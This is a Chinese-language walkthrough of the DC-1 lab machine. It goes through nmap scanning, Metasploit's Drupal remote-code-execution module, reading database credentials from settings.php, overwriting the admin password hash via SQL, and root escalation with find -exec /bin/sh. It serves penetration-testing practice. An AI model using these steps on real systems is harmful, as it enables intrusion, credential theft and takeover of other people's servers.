DC-1内网靶机入门
DC-1
1、安装dc-1 靶机
2、内网扫描
查看主机IP
ip a
ifconfig
nmap扫描全网段
nmap -A -p- -v 192.168.27.0/24
-A 选项会执行操作系统探测、脚本扫描和服务/版本探测
-p-全端口扫描
-v 输出详细信息
或者
nmap -A 192.168.27.0/24
扫描之后查看结果
根据扫描出来的信息判断出靶机IP为192.168.27.137,且cms为drupal,语言为php,服务器为Linux,中间件为apache
扫描出ip之后也可以用指纹扫描工具来扫描出它的其他信息
whatweb 192.168.27.137 -v
访问ip
也可以利用插件识别出cms为drupal7,语言为php,服务器为Linux,中间件为apache
3、漏洞利用
首先尝试弱口令登陆,后台扫描端口扫描然后啥也没有
知道了cms那就百度一下发现存在远程代码执行漏洞
打开msf查找可利用模块
msfconsole
search drupal
选择模块
use 1
查看需要配置的参数
配置参数
设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址)
set rhosts 192.168.27.137
run攻击
将反弹命令行控制台meterpreter,输入shell就可以执行命令了
run
执行shell命令
shell
ls查看当前文件目录
发现flag1
查看flag1的内容
cat flag1.txt
Every good CMS needs a config file - and so do you.
每个好的CMS都需要一个配置文件 - 你也是如此。
查看配置文件
根据提示查看配置文件,百度drupal地址,
cat /sites/default/settings.php
发现flag2
暴力破解和字典攻击不是
* 获得访问权限的唯一方法(并且您将需要访问权限)。
* 您可以使用这些凭据做什么?
还有意外收获,数据库用户名和密码
进入交互式shell
查看有效用户权限为www-data,现在我们处于的shell为非交互式shell,现在需要进入交互式shell ,而且他的权限是www-data权限,权限较低很多命令不能执行
whoami
python -c 'import pty;pty.spawn("/bin/bash")'
利用python反弹一个交互式shell TTY
连接数据库
mysql -u dbuser -p
查看数据库数据表
show databases;
use drupaldb;
show tables;
发现user表
查看users表的数据
select * from users;
select name,pass from users;
管理员账号密码修改
发现是经过加密的,且加密方式为哈希函数算法,在一般情况下服务器验证输入的密码是否正确时是通过加密输入的密码与正确的加密后的密码比对,来判断是否输入正确。
这个百度找到drupal的加密文件,通过数据库内容修改来实现管理员密码的修改
exit;
php ./scripts/password-hash.sh 123456
mysql -u dbuser -p
use drupaldb;
update users set pass='$S$DQZsZLqxCbnNCRuvOFCQBC2snsbkjGrH3Xw4nqxxhuYIONkuC4dP' where name='admin';
登陆
content模块下找到flag3
根据提示为:特殊的 PERMS 将帮助找到 passwd - 但您需要 -exec 该命令才能弄清楚如何获取阴影中的内容。
此时猜测应该是:find+perms+exec 命令用来提权
查看用户信息,发现flag4
查看flag4用户目录
flag4的内容:
您可以使用相同的方法在root中查找或访问该标志吗?
可能。但也许这并不容易。 或者也许是?
此时,还是避免不了root
find /root
find命令是用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件,并将查找到的子目录和文件全部进行显示。
发现flag文件
提权
find ./ acce -exec '/bin/sh' \;
拿到最后一个flag,结束